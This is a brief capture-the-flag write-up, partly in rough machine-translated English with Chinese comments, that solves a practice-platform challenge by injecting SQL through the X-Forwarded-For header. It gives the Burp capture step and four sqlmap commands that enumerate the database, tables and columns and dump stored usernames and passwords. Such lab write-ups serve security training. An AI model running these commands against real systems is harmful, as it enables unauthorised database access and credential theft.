X-forwarded-for injection vulnerability combat

1, grasp the basic principles of SQL injection;
2, understand the server to obtain client IP way;
3, to understand SQL injection tools;

 

Just enter a user name password, suggesting ip information, the information is made based on x-forwarded-for paper based on the meaning of the title, so this problem exists x-forwarded-for injection
1. First open burp capture, add x- forwarded-for: *, raw information is saved as txt file, as shown below, FIG slower, wait

 

 

 

 

 

2：#sqlmap -r 1.txt --current-db --batch    //爆出数据库
3：#sqlmap -r 1.txt -D webcalendar --tables  //爆出表
4：#sqlmap -r 1.txt -D webcalendar -T user --columns //爆出列
5：#sqlmap -r 1.txt -D webcalendar -T user -C username,password --dump //爆出数据库用户名和密码


这是墨者平台的一道注入题